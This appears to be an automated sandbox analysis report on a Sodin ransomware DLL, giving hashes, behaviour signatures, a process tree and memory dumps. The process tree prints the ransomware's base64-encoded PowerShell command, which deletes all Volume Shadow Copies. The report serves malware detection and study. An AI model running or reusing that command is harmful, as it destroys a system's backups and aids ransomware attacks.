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Analysis

  • max time kernel
    1813s
  • max time network
    1819s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    02-03-2024 10:05

General

  • Target

    bazaar.2020.02/HEUR-Trojan-Ransom.Win32.Sodin.dll

  • Size

    166KB

  • MD5

    9e9b0ef4fc739c3eb36a762122451992

  • SHA1

    035fe67a3d04f0a678724851cabc917b28416fe1

  • SHA256

    0ee7783213426a5e46bc11a91acf5f2d73890bb09bbf4f3b932a4b79eeb6b820

  • SHA512

    01435694c0941b004584d40c3d11866e8f319445ed937095d9777911bd6f36c6bd9449b4effa369120cf6ded9de9a375719e256c6f8380bd5fbd4f4ca0c6d715

  • SSDEEP

    3072:JLFrb30BRtBZZg+i2ayyYOCWGPyLydrkxMT3Q7FTivJ:NJ0BXScFyfC3Hd4yg7Fu

Score
6/10

Malware Config

Signatures

  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\rundll32.exe
    rundll32.exe C:\Users\Admin\AppData\Local\Temp\bazaar.2020.02\HEUR-Trojan-Ransom.Win32.Sodin.dll,#1
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3048
    • C:\Windows\SysWOW64\rundll32.exe
      rundll32.exe C:\Users\Admin\AppData\Local\Temp\bazaar.2020.02\HEUR-Trojan-Ransom.Win32.Sodin.dll,#1
      2⤵
      • Enumerates connected drives
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2284
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2640
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:3028
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2504

    Network

    MITRE ATT&CK Matrix ATT&CK v13

    Discovery

    Query Registry

    1
    T1012

    Peripheral Device Discovery

    1
    T1120

    System Information Discovery

    1
    T1082

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/2640-4-0x000000001B220000-0x000000001B502000-memory.dmp
      Filesize

      2.9MB

    • memory/2640-5-0x000007FEF5470000-0x000007FEF5E0D000-memory.dmp
      Filesize

      9.6MB

    • memory/2640-6-0x0000000002490000-0x0000000002498000-memory.dmp
      Filesize

      32KB

    • memory/2640-7-0x0000000002950000-0x00000000029D0000-memory.dmp
      Filesize

      512KB

    • memory/2640-8-0x0000000002950000-0x00000000029D0000-memory.dmp
      Filesize

      512KB

    • memory/2640-9-0x0000000002950000-0x00000000029D0000-memory.dmp
      Filesize

      512KB

    • memory/2640-10-0x000007FEF5470000-0x000007FEF5E0D000-memory.dmp
      Filesize

      9.6MB

    • memory/2640-11-0x0000000002950000-0x00000000029D0000-memory.dmp
      Filesize

      512KB

    • memory/2640-12-0x000007FEF5470000-0x000007FEF5E0D000-memory.dmp
      Filesize

      9.6MB